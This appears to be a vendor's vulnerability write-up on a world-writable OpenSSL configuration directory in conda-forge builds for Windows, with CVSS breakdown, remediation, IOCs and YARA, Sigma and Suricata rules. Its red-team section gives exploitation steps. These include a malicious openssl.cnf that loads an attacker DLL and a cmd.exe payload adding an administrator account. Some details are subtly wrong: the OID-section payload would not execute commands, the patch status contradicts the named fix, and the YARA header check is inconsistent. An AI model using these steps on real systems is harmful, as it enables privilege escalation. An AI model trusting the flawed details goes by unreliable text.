CVE-2025-35471

Executive Summary

CVE-2025-35471 is a local privilege escalation vulnerability affecting the conda-forge openssl-feedstock on Microsoft Windows. The vulnerability arises because the OpenSSL configuration directory (OPENSSLDIR) is set to a world-writable location. A non-privileged local user can place a malicious openssl.cnf file in that directory. When any process loads the OpenSSL DLLs from the feedstock, the malicious configuration is executed, leading to arbitrary code execution in the context of the target user or process. This also impacts Miniforge versions prior to 24.5.0.

The vulnerability has a CVSS score of 7.3 (High) and is classified under CWE-276 (Incorrect Default Permissions). No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability is specific to the conda-forge ecosystem, a community-driven package manager for scientific Python and other software. The openssl-feedstock is a critical component that provides OpenSSL libraries to many conda packages. The insecure default permissions on Windows create a supply chain risk: any user with local access can compromise the integrity of OpenSSL operations for all conda-forge users on the system. This is particularly dangerous in shared environments (e.g., CI/CD runners, academic labs, multi-user servers).

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond write access to the vulnerable directory.
• Privileges Required (PR): Low (L) – The attacker needs only non-privileged user access.
• User Interaction (UI): None (N) – No victim interaction is needed.
• Scope (S): Unchanged (U) – The exploit does not cross a trust boundary.
• Confidentiality (C): High (H) – Full disclosure of data processed by OpenSSL.
• Integrity (I): High (H) – Arbitrary code execution allows modification of data.
• Availability (A): High (H) – Code execution can lead to denial of service.

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Threat Level: High (7.3). The low attack complexity and low privileges required make this a significant threat in multi-user Windows environments.

Deep Dive & Mechanics

The vulnerability stems from the openssl-feedstock build process on Windows. When OpenSSL is compiled and installed via conda-forge, the OPENSSLDIR (the directory where OpenSSL looks for its configuration file openssl.cnf) is set to a path that is writable by all local users. Typically, this path is something like C:\ProgramData\conda\... or a similar shared location.

Attack Flow:

1. Reconnaissance: The attacker identifies the OPENSSLDIR path. This can be done by running openssl version -d or by inspecting environment variables.
2. Malicious Configuration: The attacker writes a crafted openssl.cnf file to that directory. The configuration can include directives that load arbitrary DLLs or execute commands via OpenSSL's openssl_conf or engines sections.
3. Trigger: Any process that loads the OpenSSL DLLs (e.g., libcrypto-3-x64.dll, libssl-3-x64.dll) will parse the malicious configuration. This includes Python scripts using ssl, requests, or any conda-forge package that depends on OpenSSL.
4. Code Execution: The malicious configuration executes code in the context of the user running the process. This can lead to privilege escalation if the target user has higher privileges (e.g., an administrator running a conda update).

Why Windows? The issue is specific to Windows because the default permissions on ProgramData or similar directories often grant write access to all users. On Linux, the equivalent directory (/etc/ssl) is typically root-owned.

Vulnerable vs. Patched Code

Vulnerable Configuration (openssl-feedstock < 066e83c): The build script sets OPENSSLDIR to a world-writable path. For example, in the bld.bat file:

set "OPENSSLDIR=%PREFIX%\Library\etc\ssl"

If %PREFIX% resolves to a shared location like C:\ProgramData\conda\envs\myenv, the directory is writable by all users.

Patched Configuration (commit 066e83c): The fix ensures that OPENSSLDIR is set to a user-specific or system-protected path. For example:

set "OPENSSLDIR=%USERPROFILE%\.conda\ssl"

This restricts write access to the individual user.

Miniforge Impact: Miniforge versions before 24.5.0 bundle the vulnerable openssl-feedstock. The fix in Miniforge 24.5.0 updates the feedstock to the patched version.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a Windows machine with a vulnerable conda-forge installation.
• Ability to write to the OPENSSLDIR (e.g., C:\ProgramData\conda\...\etc\ssl).

Steps:

1. Identify OPENSSLDIR:

   openssl version -d
   

   Output: OPENSSLDIR: "C:\ProgramData\conda\envs\myenv\Library\etc\ssl"

2. Create Malicious openssl.cnf:

   # openssl.cnf
   openssl_conf = malicious_conf
   
   [malicious_conf]
   engines = malicious_engine
   
   [malicious_engine]
   engine_id = malicious
   dynamic_path = C:\Users\attacker\malicious.dll
   init = 1
   

   The dynamic_path points to a DLL that executes arbitrary code (e.g., reverse shell, privilege escalation).

3. Write the File:

   Set-Content -Path "C:\ProgramData\conda\envs\myenv\Library\etc\ssl\openssl.cnf" -Value (Get-Content -Path .\malicious.cnf)
   

4. Trigger Execution: Wait for any user or process to load OpenSSL. For example, when an administrator runs:

   conda update --all
   

   The malicious DLL is loaded, granting the attacker code execution in the admin's context.

Alternative Payload: Use OpenSSL's openssl_conf to execute a command directly:

openssl_conf = cmd_conf

[cmd_conf]
oid_section = cmd_oid

[cmd_oid]
cmd = 1.2.3.4.5.6.7.8.9.0

[cmd]
1.2.3.4.5.6.7.8.9.0 = cmd.exe /c "net user attacker Password123! /add && net localgroup Administrators attacker /add"

Blue Team (Detection & Prevention)

Detection:

• Monitor for writes to openssl.cnf in non-standard locations.
• Alert on processes loading OpenSSL DLLs from conda-forge paths.
• Use Sysmon Event ID 11 (FileCreate) to track creation of openssl.cnf in world-writable directories.

Prevention:

• Update to Miniforge 24.5.0 or later.
• Manually change OPENSSLDIR to a user-specific path:

  setx OPENSSLDIR "%USERPROFILE%\.conda\ssl"
  

• Restrict write permissions on the vulnerable directory:

  icacls "C:\ProgramData\conda\*" /inheritance:r /grant "Users:(RX)" /grant "SYSTEM:(F)" /grant "Administrators:(F)"
  

Indicators of Compromise (IOCs)

• File Path: C:\ProgramData\conda\*\Library\etc\ssl\openssl.cnf (or similar world-writable path)
• Registry Key: HKLM\SOFTWARE\OpenSSL\OPENSSLDIR pointing to a world-writable path
• Process: Any process loading libcrypto-3-x64.dll or libssl-3-x64.dll from a conda-forge environment
• Network: Outbound connections from processes that normally do not make network calls (e.g., conda.exe connecting to unknown IPs)
• File Hash: Malicious openssl.cnf with dynamic_path or oid_section directives

Detection Engineering

YARA Rule

rule CVE_2025_35471_openssl_cnf_malicious {
    meta:
        description = "Detects malicious openssl.cnf files exploiting CVE-2025-35471"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-35471"
    strings:
        $s1 = "openssl_conf" nocase
        $s2 = "dynamic_path" nocase
        $s3 = "engine_id" nocase
        $s4 = "oid_section" nocase
        $s5 = "cmd.exe" nocase
        $s6 = "powershell" nocase
    condition:
        (uint16(0) == 0x5B23 or uint16(0) == 0x5B5B) and // [ or [[
        any of ($s1, $s2, $s3, $s4) and
        any of ($s5, $s6)
}

Sigma Rule

title: CVE-2025-35471 - Malicious openssl.cnf Creation
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects creation of openssl.cnf in world-writable directories by non-privileged users
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-35471
logsource:
    product: windows
    service: sysmon
    category: file_event
detection:
    selection:
        EventID: 11
        TargetFilename|endswith: '\openssl.cnf'
        TargetFilename|contains: '\conda\'
    condition: selection
falsepositives:
    - Legitimate conda-forge updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-35471 - Potential OpenSSL config exfiltration";
    flow:to_server,established;
    content:"openssl.cnf"; http_uri;
    content:"dynamic_path"; http_client_body;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Update Miniforge to version 24.5.0 or later. If using openssl-feedstock directly, ensure the build includes commit 066e83c or later.
2. Workaround: Manually set the OPENSSLDIR environment variable to a user-specific path (e.g., %USERPROFILE%\.conda\ssl).
3. Access Control: Restrict write permissions on the conda-forge installation directory to only trusted users.
4. Monitoring: Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.
5. Long-term: The conda-forge project should adopt secure defaults for Windows paths, ensuring that configuration directories are not world-writable.

Valters IT